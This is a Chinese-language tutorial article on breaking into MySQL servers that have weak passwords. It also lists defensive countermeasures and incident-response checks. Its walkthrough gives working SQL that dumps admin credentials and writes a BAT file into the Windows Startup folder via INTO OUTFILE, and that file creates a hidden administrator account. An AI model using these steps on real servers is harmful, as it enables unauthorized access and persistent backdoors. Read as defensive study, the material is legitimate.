首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫

MySQL 弱口令掃描與滲透實戰:Hscan 工具、VBS/BAT 腳本植入、權限提升全流程複盤

     編輯:MySQL 資料庫相關知識

⚠️ 法律聲明

本文僅供安全研究、防禦視角學習與授權滲透測試參考。未經授權對他人系統進行掃描、滲透、植入後門均屬違法行為,嚴禁用於非法用途。

攻擊面分析:MySQL 滲透三大路徑

  1. 植入啟動腳本:建表 → 寫入 VBS/BAT → SELECT ... INTO OUTFILE 導出至啟動目錄 → 重啟觸發
  2. 竊取敏感資料:讀取 mysql.user、應用配置表、管理員憑證 → 橫向移動
  3. 利用版本漏洞:識別版本 → 對應 CVE(如 UDF 提權、認證繞過)→ 遠端代碼執行

實戰流程複盤(授權環境)

1. 弱口令掃描:Hscan

  • 設定 IP 範圍、模組選 MySQL weak
  • 掃描結果顯示 IP:3306 user:pass

2. 連線枚舉

mysql -h target_ip -u root -p'weak_pass'
SHOW DATABASES;
USE target_db;
SHOW TABLES;
SELECT * FROM admin_users;  -- 竊取管理帳密

3. 植入 BAT 腳本(較 VBS 成功率高)

CREATE TABLE `b` (`cmd` TEXT);
INSERT INTO `b` VALUES ('net user hacker P@ssw0rd /add');
INSERT INTO `b` VALUES ('net localgroup administrators hacker /add');
INSERT INTO `b` VALUES ('del b.bat');
SELECT * FROM `b` INTO OUTFILE "C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\b.bat";
  • 路徑需根據 OS 語言版本調整(中文/英文)
  • 需 FILE 權限、寫入目錄權限、啟動目錄可寫

4. 等待重啟 / 強制重啟 → 遠端桌面 (3389) 登入

防禦對策清單

層面措施
網路3306 僅對應用伺服器開放、防火牆/安全組限制來源 IP
認證強密碼策略、禁用 root 遠端、啟用 validate_password、雙因子認證
權限應用帳號最小權限、回收 FILE/SUPER/PROCESS
系統MySQL 以專用低權限用戶運行、--skip-symbolic-links
審計啟用 audit_log 記錄 INTO OUTFILE、CREATE TABLE 等高危操作
檔案系統啟動目錄僅 Administrators 可寫、啟用 Applocker 限制腳本執行
補丁及時升級 MySQL 修補已知 CVE

應急響應檢查清單

  1. 檢查啟動目錄是否有異常 .bat/.vbs/.exe
  2. net user 檢查是否有不明帳號
  3. SHOW PROCESSLIST 找異常長連線
  4. SELECT * FROM mysql.user WHERE Host != 'localhost' 排查野生帳號
  5. 審計日誌回溯 INTO OUTFILE、LOAD DATA 操作

結語

MySQL 弱口令是入侵的「敲門磚」,FILE 權限配合啟動目錄寫入是「推門棍」。網路隔離 + 強認證 + 最小權限 + 審計日誌 + 系統加固 五層防線,才能將風險壓制在可接受範圍。

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved